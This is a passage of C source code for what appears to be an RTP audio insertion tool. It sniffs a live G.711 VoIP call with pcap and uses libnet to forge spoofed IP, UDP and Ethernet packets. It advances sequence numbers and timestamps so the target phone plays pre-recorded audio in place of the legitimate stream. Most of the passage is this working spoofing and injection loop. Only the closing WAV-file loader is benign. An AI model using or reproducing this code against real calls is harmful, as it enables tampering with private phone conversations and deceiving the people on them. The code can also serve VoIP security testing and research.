530 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
531 }
532
533 rc = pcap_compile ( h_pcap_live_rtp,
534 &compiled_pcap_filter,
535 pcap_filter,
536 0, // don't optimize filter
537 0xFFFFFF00 ); // netmask (i.e. 255.255.255.0)
538
539 if ( rc < 0 ) {
540 pcap_perror ( h_pcap_live_rtp, "\nError: pcap_compile filter : " );
541 printf ( "\n" );
542 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
543 }
544
545 rc = pcap_setfilter ( h_pcap_live_rtp, &compiled_pcap_filter );
546
547 if ( rc < 0 ) {
548 pcap_perror ( h_pcap_live_rtp, "\nError: pcap_setfilter : " );
549 printf ( "\n" );
550 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
551 }
552
553 //
554 // program pointed by the bpf_program may be freed after the program
555 // has been installed by a call to pcap_setfilter
556 //
557
558 pcap_freecode( &compiled_pcap_filter );
559
560 if ( bVerbose ) {
561 printf ( "\npcap filter installed for live audio stream "
562 "sniffing: %s\n", pcap_filter );
563 }
564
565 //
566 // The pcap manual states that pcap_next( ) is alwasys blocking. Perhaps
567 // this statement can be extrapolated to use of pcap_next_ex( ) as well.
568 // Just to be safe, explicitly set the pcap descriptor to blocking.
569 //
570
571 pcap_setnonblock( h_pcap_live_rtp,
572 0, // 0 = blocking
573 pcap_errbuf );
574
575 rc = pcap_getnonblock( h_pcap_live_rtp, pcap_errbuf );
576
577 if ( bVerbose ) {
578 if ( rc == 0 ) {
579 printf ( "\npcap live %s interface is blocking\n\n", psDevice );
580 } else {
581 if ( rc == -1 ) {
582 printf ( "\npcap getnonblock( ) error: %s\n\n", pcap_errbuf );
583 } else {
584 printf ( "\npcap live %s interface is non-blocking\n\n",
585 psDevice );
586 }
587 }
588 }
589
590 //
591 // Set the direction that pcap will capture packets. This tool spoofs the transmitter
592 // of an audio stream that pcap's filter is now programmed to detect. We don't want
593 // pcap to mistake the tool's outgoing packet's for those we are interested in
594 // receiving. So, restrict the pcap capture to incoming packets only.
595 //
596
597 /* Setting the direction did not appear to work when spoofing packets.
598 Instead, we had to set the pcap filter to exclude packets with the MAC
599 address of the ethernet interface this host is using to receive legitimate
600 packets and transmit spoofed packets
601
602 rc = pcap_setdirection ( h_pcap_live_rtp, PCAP_D_IN );
603
604 if ( rc == -1 ) {
605 pcap_perror ( h_pcap_live_rtp,
606 "\nError: could not set pcap capture direction : " );
607 printf ( "\n" );
608 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
609 }
610 */
611
612 printf ( "\nAttempting to sniff RTP packets from "
613 "the specified audio stream......" );
614 fflush ( stdout );
615
616 rc = pcap_next_ex ( h_pcap_live_rtp, &ppcap_pkthdr, &packet );
617
618 if ( rc == -1 ) {
619 pcap_perror ( h_pcap_live_rtp,
620 "\nError: while attempting to sniff live audio : " );
621 printf ( "\n" );
622 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
623 }
624
625 if ( rc == 0 ) {
626 printf ( "\nTimeout reported by pcap_next_ex( ), but "
627 "no timeout was requested.\n" );
628 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
629 }
630
631 printf ( "\nSuccessfully detected a packet from targeted audio stream:\n" );
632
633 if ( bVerbose ) {
634 decodeAndPrintRTPMsg ( packet );
635 }
636
637 //
638 // Prime the rtp_msg_to_insert structure with the
639 // rtp header of the captured packet
640 //
641
642 memcpy ( &(rtp_msg_to_insert.rtp_hdr),
643 packet + offset_to_rtp_msg,
644 sizeof ( struct rfc1889_rtp_hdr ) );
645
646 //
647 // Confirm that the target audio stream is G.711.
648 //
649 // FIXME: The tool only supports G.711 ulaw.
650 //
651
652 rtp_hdr = ( struct rfc1889_rtp_hdr * ) ( packet + offset_to_rtp_msg );
653
654 if ( rtp_hdr->payloadType !=
655 __RTPINSERTSOUND_G711_PAYLOAD_TYPE ) {
656 printf ( "\nThe target audio stream is not bearing G.711"
657 "\nu-law encoded audio. Payload type = %u\n",
658 rtp_hdr->payloadType );
659 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
660 }
661
662
663 //
664 // Initialize the libnet library in preparation for spoofing. Root privileges are required.
665 //
666 // Note: it has been demonstrated that the order in which ethernet interfaces appear
667 // in your route table might override your attempt to output spoofed packets
668 // over a certain ethernet interface. For example, the device specified in the
669 // call to libnet_init() below might prove irrelevant.
670 //
671 // For example, suppose the user executing this tool specified eth2 on the
672 // command line. However, suppose eth0 is also up, eth0 was brought into
673 // service earlier than eth2, and eth0 also provides a route to the targeted
674 // destination device. In that case, eth0 will appear in the route table before
675 // eth2. The spoofed packets are transmitted out eth0 instead of eth2!!!!
676 // The problem in this example can be solved in one of the following ways:
677 //
678 // 1) specify eth0 instead of eth2 on the command line
679 // 2) Take eth0 down. Its entry is automatically removed from the route table
680 // 3) Take eth0 down and then bring it up. This changes the order
681 // of the interfaces in the route table
682 //
683 // Who cares which interface is used if the packets make it to the intended
684 // destination in a timely fashion? We do. The reason is that the pcap filter
685 // (i.e. see above) had to exclude receiving packets from the MAC of the
686 // interface stipulated by the user on the command line. The filter prevents
687 // the tool from recapturing spoof packets it generates (i.e. spoofing itself).
688 // If the spoofed packets exit this host on a different interface then the
689 // one specified on the command line, they might be transmitted back to
690 // this host through the interface specified on the command line
691 // (e.g. if, for example, both interfaces are connected to a hub). Since the
692 // source MAC on the packets will be the interface through which the
693 // spoofed packets were unintentionally transmitted, the pcap filter
694 // will not exclude them from being captured. The ramification of this
695 // will be that the tool will feed on its own output and the pre-recorded
696 // audio file will be exhaused in a fraction of a second.
697 //
698
699 printf ("\n __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER = %u \n",
700 __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER );
701
702 #if __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER == __RTPINSERTSOUND_LIBNET_IP
703
704 l = libnet_init (
705 LIBNET_RAW4, // injection type
706 psDevice, // network interface (i.e. see note above)
707 libnet_errbuf ); // errbuf
708
709 printf ( "\nWill inject spoofed audio at IP layer\n" );
710
711 #elif __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER == __RTPINSERTSOUND_LIBNET_ETHERNET
712
713 l = libnet_init(
714 LIBNET_LINK, // injection type
715 psDevice, // network interface
716 libnet_errbuf ); // errbuf
717
718 printf ( "\nWill inject spoofed audio at Ethernet layer\n" );
719
720 #else
721
722 printf ( "\nInvalid Compiler PreProcessor value was assigned to: \n"
723 "\n__RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER. Check rtpinsertsound.h\n" );
724 CleanupAndExit ( EXIT_FAILURE );
725
726 #endif
727
728 if ( l == NULL ) {
729 fprintf ( stderr, "libnet_init() failed: %s\n", libnet_errbuf );
730 CleanupAndExit ( EXIT_FAILURE ); // control does not return
731 }
732
733 //
734 // Build the libnet UDP packet. This one doesn't really count, but it's used
735 // to prime the audio insertion loop to follow shortly. That loop is where each
736 // memory-resident RTP message will have its RTP header values set
737 // properly to spoof the legitimate audio stream. The thought here is that
738 // libnet probably takes longer to execute the first time it creates a ptag
739 // UDP header as opposed to when it simply updates one.
740 //
741
742 udp_tag = libnet_build_udp (
743 rtpSrcPort, // source port
744 rtpDestPort, // destination port
745 LIBNET_UDP_H + g711_rtp_msg_len, // total UDP packet length
746 0, // let libnet compute checksum
747 (u_int8_t *) &rtp_msg_to_insert, // payload
748 g711_rtp_msg_len, // payload length
749 l, // libnet handle
750 udp_tag ); // ptag - 0 = build new, !0 = reuse
751
752 if ( udp_tag == -1 ) {
753 printf ( "Can't build UDP packet: %s\n", libnet_geterror( l ) );
754 CleanupAndExit ( EXIT_FAILURE ); // control does not return
755 }
756
757 //
758 // Build the libnet IP header. This one doesn't really count, but it's used
759 // to prime the audio insertion loop to follow shortly. That loop is where
760 // header values in the spoofed packet are manipulated relative to the
761 // packet received triggering the spoofed packet output. The thought here
762 // is that libnet probably takes longer to execute the first time it creates a
763 // ptag IP header as opposed to when it simply updates one.
764 //
765
766 ipPacketSize = LIBNET_IPV4_H + LIBNET_UDP_H + g711_rtp_msg_len;
767
768 ip_hdr = ( struct libnet_ipv4_hdr * ) ( packet + offset_to_ip_hdr );
769
770 ip_tag = libnet_build_ipv4 (
771 ipPacketSize, // size
772 ip_hdr->ip_tos, // ip tos
773 ntohs ( ip_hdr->ip_id ), // ip id
774 ntohs ( ip_hdr->ip_off ), // fragmentation bits
775 ip_hdr->ip_ttl, // ttl
776 IPPROTO_UDP, // protocol
777 0, // let libnet compute checksum
778 rtpSrcIPv4Addr, // source address
779 rtpDestIPv4Addr, // destination address
780 NULL, // payload
781 0, // payload length
782 l, // libnet context
783 ip_tag ); // ptag - 0 = build new, !0 = reuse
784
785 if ( ip_tag == -1 ) {
786 printf ( "Can't build IP header: %s\n", libnet_geterror( l ) );
787 CleanupAndExit ( EXIT_FAILURE );
788 }
789
790 #if __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER == __RTPINSERTSOUND_LIBNET_ETHERNET
791
792 //
793 // Build the libnet Ethernet header. This one doesn't really count, but it's used
794 // to prime the audio insertion loop to follow shortly. The Ethernet header
795 // is expected to be constant for all spoofed packets in a given stream. However,
796 // the FCS (i.e. Frame Check Sequence) appearing at the end of the Ethernet
797 // packet will change with each packet since the content of the Ethernet
798 // payload changes with each packet. The thought here is that libnet probably
799 // takes longer to execute the first time it creates a ptag Ethernet header as
800 // opposed to when it simply updates one.
801 //
802
803 eth_hdr = ( struct libnet_ethernet_hdr * ) packet;
804
805 ether_tag = libnet_build_ethernet (
806 (u_int8_t *) &(eth_hdr->ether_dhost), // dest mac
807 (u_int8_t *) &(eth_hdr->ether_shost), // source mac
808 ETHERTYPE_IP, // type upper layer protocol
809 NULL, // payload
810 0, // payload size
811 l, // libnet handle
812 ether_tag ); // ptag - 0 = build new, !0 = reuse
813
814 if ( ether_tag == -1 ) {
815 printf( "Can't build standard ethernet header: %s\n",
816 libnet_geterror( l ) );
817 CleanupAndExit( EXIT_FAILURE );
818 }
819
820 #endif
821
822 printf ( "\nWill now synchronize the interlacing of the pre-recorded"
823 "\naudio to the next audio packet captured from the target"
824 "\naudio stream."
825 "\n"
826 "\nThere will be no further printed output until pre-recorded"
827 "\naudio playback has completed. Since the audio to insert is"
828 "\n%4.2f sec in length, the tool has failed if much greater"
829 "\nthan %4.2f seconds elapse without a completion confirmation."
830 "\nIn all likelihood, failure to begin inserting audio, or failure"
831 "\nto complete the insertion once it has begun, means the target"
832 "\naudio stream is no longer available to drive the mixing"
833 "\nloop (e.g. the targeted call has ended or changed state)."
834 "\nIt's also possible you're attempting to run the tool on a"
835 "\nvery slow or very heavily loaded machine.\n",
836 expectedAudioPlaybackTime, expectedAudioPlaybackTime );
837 fflush ( stdout );
838
839 //
840 // Sync to the targeted audio stream for real-time playback of pre-recorded audio.
841 // First make sure the incoming buffer of pcap messages has been drained.
842 // Unfortunately, there is no mechanism to explicitly inquire whether the
843 // pcap buffer is empty or how many packets are waiting to be retrieved.
844 // There are a couple of approaches to solving this problem. The chosen
845 // approach is to retrieve a packet and compare the time the packet
846 // arrived with the current time-of-day. When the current time-of-day
847 // is less than 1 ms later than the time-of-day recoded when the packet
848 // was received, we declare that packet to be the sync packet.
849 //
850
851 bFoundSyncPacket = false;
852
853 i = 0;
854
855 do {
856 rc = pcap_next_ex ( h_pcap_live_rtp, &ppcap_pkthdr, &packet );
857
858 if ( rc == -1 ) {
859 pcap_perror ( h_pcap_live_rtp,
860 "\nError: while attempting to sniff live audio : " );
861 printf ( "\n" );
862 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
863 }
864
865 if ( rc == 0 ) {
866 printf ( "\nTimeout reported by pcap_next_ex( ), but"
867 "no timeout was requested.\n" );
868 CleanupAndExit ( EXIT_FAILURE ); // control does not return
869 }
870
871 gettimeofday( &time_of_day, NULL ); // retrieve current TimeOfDay
872
873 // Compute TimeOfDay (sec resolution) - TimeOfArrival (sec resolution)
874
875 deltaTSec = time_of_day.tv_sec - ppcap_pkthdr->ts.tv_sec;
876
877 if ( deltaTSec == 0 ) {
878
879 // Times to compare are within same second
880
881 deltaTUsec =
882 time_of_day.tv_usec - ppcap_pkthdr->ts.tv_usec;
883
884 if ( deltaTUsec < 1000 ) {
885 // deltaT is within 1 ms
886 bFoundSyncPacket = true;
887 }
888
889 } else {
890
891 // The TOD has incremented into - at least - the next second
892 // compared to the TOA pcap recorded for the packet under
893 // evaluation. While it's unlikely the TOD is more than
894 // 1 second later than the TOA, we need to check to be certain
895
896 if ( deltaTSec == 1 ) {
897
898 // Worst case, this could be a delta of barely under 2 seconds.
899
900 deltaTUsec =
901 ( 1000000 + time_of_day.tv_usec ) -
902 ppcap_pkthdr->ts.tv_usec;
903
904 if ( deltaTUsec < 1000 ) {
905 // deltaT is within 1 ms
906 bFoundSyncPacket = true;
907 }
908 }
909 }
910
911 i++;
912 if ( i == 1000 && !bFoundSyncPacket ) {
913 printf ( "\nError: Evaluated 1000 packets from the udp "
914 "stream specified by the command line arguments. "
915 "None passed the stream sync criteria of being "
916 "evaluated within 1 ms of its arrival by pcap. "
917 "Either 1 ms is too tight a tolerance, the tool "
918 "is running on an extermely slow or heavily loaded "
919 "machine, or perhaps the stream you've targeted "
920 "is already under attack by a udp flood tool. "
921 "Since the audio stream should be no faster than "
922 "%u Hz, we're only expecting an audio packet about "
923 "once or twice every %u ms.\n\n",
924 __RTPINSERTSOUND_G711_CODEC_RATE_HZ,
925 __RTPINSERTSOUND_G711_CODEC_INTERVAL_USEC );
926
927 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
928 }
929 } while ( !bFoundSyncPacket );
930
931 // printf ( "\n# loops required to sync = %u\nDeltaTUsec = %d\n", i, deltaTUsec );
932
933 //
934 // The output of each spoofed packet is triggered by the reception of an
935 // audio packet from the transmitter being spoofed. Spoofed packets have
936 // RTP header sequence number and timestamp values adjusted by a factor
937 // relative to the header values captured in the legitimate RTP packet provoking
938 // the output of a corresponding spoof packet. If the goal is to convince the
939 // destination endpoint to accept spoof packets and reject legitimate
940 // packets, then a small positive factor should be adequate (e.g. 1 to 5).
941 // The destination endpoint is expected to view legitimate packets as being
942 // late (delayed) compared to spoofed packets with advanced sequence number
943 // and timestamp value. Hopefully, the receiving endpoint discards the
944 // legitimate audio packets. The tool user is able to override the default factor
945 // with an optional command line argument. The tool user is able to input
946 // a positive or negative factor.
947 //
948
949 for ( i = 0; i < numG711PacketEquivalents; i++ ) {
950
951 //
952 // Extract the values from the legitimate RTP msg for spoofing as
953 // as a future RTP msg in the audio stream.
954 //
955
956 rtp_hdr = ( struct rfc1889_rtp_hdr * ) ( packet + offset_to_rtp_msg );
957
958 spoofSeqNumber = ntohs ( rtp_hdr->sequenceNumber );
959
960 spoofTimestamp = ntohl ( rtp_hdr->timestamp );
961
962 spoofSSRC = ntohl ( rtp_hdr->ssrc );
963
964 //
965 // Insert the RTP msg header values into the next spoofed (i.e. inserted) RTP msg.
966 // The key header values are advanced by a factor driven by an optional
967 // command line input (or by a default factor if the optional factor is not entered).
968 //
969
970 rtp_msg_to_insert.rtp_hdr.sequenceNumber =
971 htons ( ( unsigned short )
972 ( ( ( int ) spoofSeqNumber ) + spoofFactor ) );
973
974 // note: for the G.711 codec, the timestamp is simply an increment of the
975 // of audio bytes comprising the payload.
976
977 rtp_msg_to_insert.rtp_hdr.timestamp =
978 htonl ( spoofTimestamp + ( __RTPINSERTSOUND_G711_PAYLOAD_LEN *
979 spoofFactor ) );
980
981 rtp_msg_to_insert.rtp_hdr.ssrc = htonl ( spoofSSRC );
982
983 memcpy ( &(rtp_msg_to_insert.rtp_payload[0]),
984 &(pcmuSamplesToInsert[i]),
985 __RTPINSERTSOUND_G711_PAYLOAD_LEN );
986
987 //
988 // Update the UDP packet.
989 //
990
991 udp_tag = libnet_build_udp (
992 rtpSrcPort, // source port
993 rtpDestPort, // destination port
994 LIBNET_UDP_H + g711_rtp_msg_len, // total UDP packet length
995 0, // let libnet compute checksum
996 (u_int8_t *) &rtp_msg_to_insert, // udp payload
997 g711_rtp_msg_len, // udp payload length
998 l, // libnet handle
999 udp_tag ); // ptag - 0 = build new, !0 = reuse
1000
1001 if ( udp_tag == -1 ) {
1002 printf ( "Looping: Can't build UDP packet: %s\n",
1003 libnet_geterror( l ) );
1004 CleanupAndExit ( EXIT_FAILURE ); // control does not return
1005 }
1006
1007 //
1008 // Note: libnet seems to have problems computing correct UDP checksums
1009 // reliably. Since the UDP checksum is optional, it can be set to zeros
1010 // (i.e. see the call to libnet_build_udp above) and a call to
1011 // libnet_toggle_checksum () can be used to disable the checksum
1012 // calculation by libnet
1013 //
1014
1015 libnet_toggle_checksum ( l, udp_tag, LIBNET_OFF );
1016
1017 //
1018 // Update the IP header by spoofing the necessary values from the received packet's
1019 // IP header.
1020 //
1021
1022 ip_hdr = ( struct libnet_ipv4_hdr * ) ( packet + offset_to_ip_hdr );
1023
1024 spoofID = ntohs ( ip_hdr->ip_id );
1025
1026 spoofID = ( unsigned short ) ( ( ( int ) spoofID ) + spoofFactor );
1027
1028 ip_tag = libnet_build_ipv4 (
1029 ipPacketSize, // size
1030 ip_hdr->ip_tos, // ip tos
1031 spoofID, // ip id
1032 // ntohs ( ip_hdr->ip_id ), // ip id
1033 ntohs ( ip_hdr->ip_off ), // fragmentation bits
1034 ip_hdr->ip_ttl, // ttl
1035 IPPROTO_UDP, // protocol
1036 0, // let libnet compute checksum
1037 rtpSrcIPv4Addr, // source address
1038 rtpDestIPv4Addr, // destination address
1039 NULL, // payload
1040 0, // payload length
1041 l, // libnet context
1042 ip_tag ); // ptag - 0 = build new, !0 = reuse
1043
1044 if ( ip_tag == -1 ) {
1045 printf ( "Looping: Can't build IP header: %s\n",
1046 libnet_geterror( l ) );
1047 CleanupAndExit ( EXIT_FAILURE );
1048 }
1049
1050 #if __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER == __RTPINSERTSOUND_LIBNET_ETHERNET
1051
1052 //
1053 // Update the Ethernet header by spoofing the necessary values from
1054 // the received packet's Ethernet header
1055 //
1056
1057 eth_hdr = ( struct libnet_ethernet_hdr * ) packet;
1058
1059 ether_tag = libnet_build_ethernet (
1060 (u_int8_t *) &(eth_hdr->ether_dhost), // dest mac
1061 (u_int8_t *) &(eth_hdr->ether_shost), // source mac
1062 ETHERTYPE_IP, // type upper layer protocol
1063 NULL, // payload
1064 0, // payload size
1065 l, // libnet handle
1066 ether_tag ); // ptag - 0 = build new, !0 = reuse
1067
1068 if ( ether_tag == -1 ) {
1069 printf( "Can't build standard ethernet header: %s\n",
1070 libnet_geterror( l ) );
1071 CleanupAndExit( EXIT_FAILURE );
1072 }
1073
1074 #endif
1075
1076 //
1077 // Are we dealing with a phone that requires the reception of the
1078 // spoofed packet to be within a specified deltaT of when the phone
1079 // will receive the next legitimate packet?
1080 //
1081
1082 if ( jitterFactor < 80 ) {
1083 delayTransmitOfSpoofedPacket( __RTPINSERTSOUND_G711_CODEC_INTERVAL_USEC );
1084 }
1085
1086 //
1087 // Write the packet.
1088 //
1089
1090 bytesWritten = libnet_write( l );
1091 if ( bytesWritten == -1 ) {
1092 fprintf ( stderr, "Write error: %s\n", libnet_geterror( l ) );
1093 CleanupAndExit ( EXIT_FAILURE ); // control does not return
1094 }
1095
1096 //
1097 // Make sure the number of written bytes jives with what we expect.
1098 //
1099
1100 if ( bytesWritten < ipPacketSize ) {
1101 fprintf ( stderr,
1102 "Write error: libnet only wrote %d of %d bytes",
1103 bytesWritten,
1104 ipPacketSize );
1105 CleanupAndExit ( EXIT_FAILURE ); // control does not return
1106 }
1107
1108 //
1109 // Wait for next legitimate audio packet as trigger to output next spoofed audio packet
1110 //
1111
1112 #if __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER == __RTPINSERTSOUND_LIBNET_ETHERNET
1113
1114 // No need for a loop to examine the content of "incoming" RTP
1115 // packets to see if they're legitimate unless the tool is spoofing
1116 // the Source MAC of the legitimate transmitter.
1117
1118 bool bReceivedLegitimatePacket;
1119 bReceivedLegitimatePacket = false;
1120
1121 while ( !bReceivedLegitimatePacket ) {
1122
1123 #endif
1124 // Note: need this stuff regardless of whether the Source MAC of
1125 // the legitimate transmitter is being spoofed by the tool.
1126
1127 packet = NULL;
1128
1129 rc = pcap_next_ex ( h_pcap_live_rtp, &ppcap_pkthdr, &packet );
1130
1131 if ( rc == -1 ) {
1132 pcap_perror ( h_pcap_live_rtp,
1133 "\nError: while attempting to sniff live audio : " );
1134 printf ( "\n" );
1135 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
1136 }
1137
1138 if ( rc == 0 ) {
1139 printf ( "\nTimeout reported by pcap_next_ex( ), but"
1140 "no timeout was requested.\n" );
1141 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
1142 }
1143
1144 #if __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER == __RTPINSERTSOUND_LIBNET_ETHERNET
1145
1146 // Since the Source MAC of outgoing RTP packets are being spoofed,
1147 // we must make sure we prevent the tool from feeding upon its
1148 // own output packets. See if the pattern 0,1,0,1,0,1 is endoded into
1149 // the low order bit of the first 6 bytes of the RTP payload.
1150
1151 const u_char *pRTPpayload;
1152
1153 pRTPpayload = packet + offset_to_rtp_payload;
1154
1155 if ( ( ( *( pRTPpayload + 0 ) & 0x01 ) != 0 ) ||
1156 ( ( *( pRTPpayload + 1 ) & 0x01 ) != 1 ) ||
1157 ( ( *( pRTPpayload + 2 ) & 0x01 ) != 0 ) ||
1158 ( ( *( pRTPpayload + 3 ) & 0x01 ) != 1 ) ||
1159 ( ( *( pRTPpayload + 4 ) & 0x01 ) != 0 ) ||
1160 ( ( *( pRTPpayload + 5 ) & 0x01 ) != 1 ) ) {
1161 bReceivedLegitimatePacket = true;
1162 }
1163 } // end while ( legitimate RTP packet not received )
1164
1165 #endif
1166
1167 } // end spoofed RTP packet output loop
1168
1169 printf ( "\n\nInterlacing the pre-recorded audio with the\n"
1170 "target audio stream has completed.\n" );
1171
1172 CleanupAndExit ( EXIT_SUCCESS );
1173
1174 } // end main
1175
1176 //-----------------------------------------------------------------------------
1177 //
1178 // preloadWavAudio ( char *psInputAudioFile,
1179 // struct pcmu pcmSamplesToInsert[],
1180 // unsigned int *numG711PacketEquivalents )
1181 //
1182 // This routine expects psInputAudioFile to point to a
1183 // string with the name of a file containing pre-recorded
1184 // audio to load into memory. The file is expected to be a
1185 // standard Microsoft multimedia RIFF formatted file
1186 // containing WAVE formated audio.
1187 //
1188 // This routine shall confirm that the file content meets the
1189 // the following restrictions:
1190 //
1191 // File type: Microsoft RIFF
1192 // File Resource Type: WAVE
1193 // Compression Code: PCM/uncompressed
1194 // Sample Frequency: 8000 Hz
1195 // Sample size: unsigned 8-bit or signed 16-bit.
1196 //
1197 // The file must have "chunks" in this order:
1198 //
1199 // RIFF chunk
1200 // format chunk
1201 // fact chunk
1202 // data chunk
1203 //
1204 // or
1205 //
1206 // RIFF chunk
1207 // format chunk
1208 // data chunk
1209 //
1210 // If the file does not comply with the required
1211 // configuration, the Linux sox command is
1212 // suggested as a means to convert the file
1213 // to the required configuration.
1214 //
1215 // Pre-recorded audio content is read, converted to
1216 // PCMU, and loaded into memory. Responding to the
1217 // reception of each live RTP packet from the target
1218 // audio stream is a time critical event. So, getting
1219 // the pre-recorded audio in a format ready to insert
1220 // into the live audio stream is beneficial. Reading,
1221 // reading from a disk drive on an arbitrary platform
1222 // would yield unpredictable timing due to several
1223 // factors (e.g. speed of the machine, disk buffer sizes,
1224 // disk caching parameters, disk access time, ...etc).
1225 //
1226 // Of course, swapping of the memory resident,
1227 // pre-recorded audio in PCM form to disk could
1228 // occur as a consequence of normal OS data paging
1229 // operation.
1230 //
1231 // FIXME: Declare that some data should remain
1232 // memory-resident at all times.
1233 //
1234 //-----------------------------------------------------------------------------
1235
1236 bool preloadWavAudio ( char *psInputAudioFile,
1237 struct pcmu pcmuSamplesToInsert[],
1238 unsigned int *numG711PacketEquivalents ) {
1239
1240 FILE *fpAudio = NULL;
1241
1242 int i, j, rc;
1243
1244 struct {
1245 char c_chunkID[4]; // Should be 4 ASCII characters
1246 unsigned int ui_chunkSize; // i.e. does not include hdrCHUNK
1247 } hdrCHUNK;
1248
1249 struct {
1250 unsigned char c_chunkID[4]; // Should be the ASCII characters: RIFF
1251 unsigned int ui_audioFileSize; // i.e. file size - 8
1252 unsigned char c_typeRIFF[4]; // Should be the ASCII characters: WAVE
1253 } hdrRIFF;
1254
1255 //
1256 // hdrFMT is the structure of the fmt chunk when there are no extra format bytes
1257 // (i.e. when ui_fmtChunkSize = 16).
1258 //
1259 struct {
1260 char c_chunkID[4]; // Should be the ASCII characters: fmt<space>
1261 unsigned int ui_fmtChunkSize; // i.e. 16 + extra format bytes
1262 unsigned short us_compressionCode; // 1 to 65535
1263 unsigned short us_numChannels; // 1 to 65535
1264 unsigned int ui_sampleRate; // 1 to ( 2**32 - 1 )
1265 unsigned int ui_avgBytesPerSec; // 1 to ( 2**32 - 1 )
1266 unsigned short us_blockAlign; // 1 to 65535
1267 unsigned short us_numSignificantBitsPerSample; // 2 to 65535
1268 } hdrFMT;
1269
1270 //
1271 // Check that the audio input file has a standard RIFF header and that the
1272 // format type is: WAVE
1273 //
1274
1275 fpAudio = fopen ( psInputAudioFile, "r" );
1276
1277 if ( !fpAudio ) {
1278 printf ( "\nCouldn't open pre-recorded audio file: %s\n",
1279 psInputAudioFile );
1280
1281 return false;
1282 }
1283
1284 rc = fread ( &hdrRIFF, sizeof ( hdrRIFF ), 1, fpAudio );
1285
1286 if ( rc != 1 ) {
1287 printf ( "\nEOF on input file attempting to read"
1288 "\nthe standard RIFF header\n" );
1289 fclose ( fpAudio );
1290 fpAudio = NULL;
1291
1292 return false;
1293 }
1294
1295 if ( bVerbose ) {
1296 printf ( "\nAudio file format: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x \n",
1297 hdrRIFF.c_chunkID[0],
1298 hdrRIFF.c_chunkID[1],
1299 hdrRIFF.c_chunkID[2],
1300 hdrRIFF.c_chunkID[3],
1301 hdrRIFF.c_chunkID[0],
1302 hdrRIFF.c_chunkID[1],
1303 hdrRIFF.c_chunkID[2],
1304 hdrRIFF.c_chunkID[3] );
1305 }
1306
1307 if ( hdrRIFF.c_chunkID[0] != 'R' ||
1308 hdrRIFF.c_chunkID[1] != 'I' ||
1309 hdrRIFF.c_chunkID[2] != 'F' ||
1310 hdrRIFF.c_chunkID[3] != 'F' ) {
1311 printf ( "\nPre-recorded audio input does not have a standard RIFF header\n" );
1312 fclose ( fpAudio );
1313 fpAudio = NULL;
1314
1315 return false;
1316 }
1317
1318 if ( bVerbose ) {
1319 printf ( "\nTotal Audio File Size: %u\n", hdrRIFF.ui_audioFileSize + 8 );
1320
1321 printf ( "\nPre-recorded audio content format: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n",
1322 hdrRIFF.c_typeRIFF[0],
1323 hdrRIFF.c_typeRIFF[1],
1324 hdrRIFF.c_typeRIFF[2],
1325 hdrRIFF.c_typeRIFF[3],
1326 hdrRIFF.c_typeRIFF[0],
1327 hdrRIFF.c_typeRIFF[1],
1328 hdrRIFF.c_typeRIFF[2],
1329 hdrRIFF.c_typeRIFF[3] );
1330 }
1331
1332 if ( hdrRIFF.c_typeRIFF[0] != 'W' ||
1333 hdrRIFF.c_typeRIFF[1] != 'A' ||
1334 hdrRIFF.c_typeRIFF[2] != 'V' ||
1335 hdrRIFF.c_typeRIFF[3] != 'E' ) {
1336 printf ( "\nPre-recorded audio input is not in WAVE format\n" );
1337 fclose ( fpAudio );
1338 fpAudio = NULL;
1339
1340 return false;
1341 }
1342
1343 //
1344 // Check that the audio input file has a standard "fmt " chunk following the
1345 // RIFF chunk. The "fmt " chunk contains the parameters of the audio
1346 // data.
1347 //
1348
1349 rc = fread ( &hdrFMT, sizeof ( hdrFMT ), 1, fpAudio );
1350
1351 if ( rc != 1 ) {
1352 printf ( "\nEOF on input file attempting to read"
1353 "\nthe standard RIFF fmt header\n" );
1354 fclose ( fpAudio );
1355 fpAudio = NULL;
1356
1357 return false;
1358 }
1359
1360 if ( bVerbose ) {
1361 printf ( "\nNext \"chunk\" header type: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n",
1362 hdrFMT.c_chunkID[0],
1363 hdrFMT.c_chunkID[1],
1364 hdrFMT.c_chunkID[2],
1365 hdrFMT.c_chunkID[3],
1366 hdrFMT.c_chunkID[0],
1367 hdrFMT.c_chunkID[1],
1368 hdrFMT.c_chunkID[2],
1369 hdrFMT.c_chunkID[3] );
1370 }
1371
1372 if ( hdrFMT.c_chunkID[0] != 'f' ||
1373 hdrFMT.c_chunkID[1] != 'm' ||
1374 hdrFMT.c_chunkID[2] != 't' ||
1375 hdrFMT.c_chunkID[3] != ' ' ) {
1376 printf ( "\nRIFF header not followed by fmt header\n" );
1377 fclose ( fpAudio );
1378 fpAudio = NULL;
1379
1380 return false;
1381 }
1382
1383 if ( bVerbose ) {
1384 printf ( "\nCompression Code: %u", hdrFMT.us_compressionCode );
1385 printf ( "\nChannels: %u", hdrFMT.us_numChannels );
1386 printf ( "\nSample Rate (Hz): %u", hdrFMT.ui_sampleRate );
1387 printf ( "\nAvg. Bytes/sec: %u", hdrFMT.ui_avgBytesPerSec );
1388 printf ( "\nBlock Align: %u", hdrFMT.us_blockAlign );
1389 printf ( "\nSignificant Bits/sample: %u", hdrFMT.us_numSignificantBitsPerSample );
1390 }
1391
1392 if ( hdrFMT.ui_fmtChunkSize > 16 ) {
1393 printf ( "\n\nThe fmt chunk has %u Extra Format Bytes."
1394 "\nExtra format bytes are not supported.\n",
1395 hdrFMT.ui_fmtChunkSize - 16 );
1396
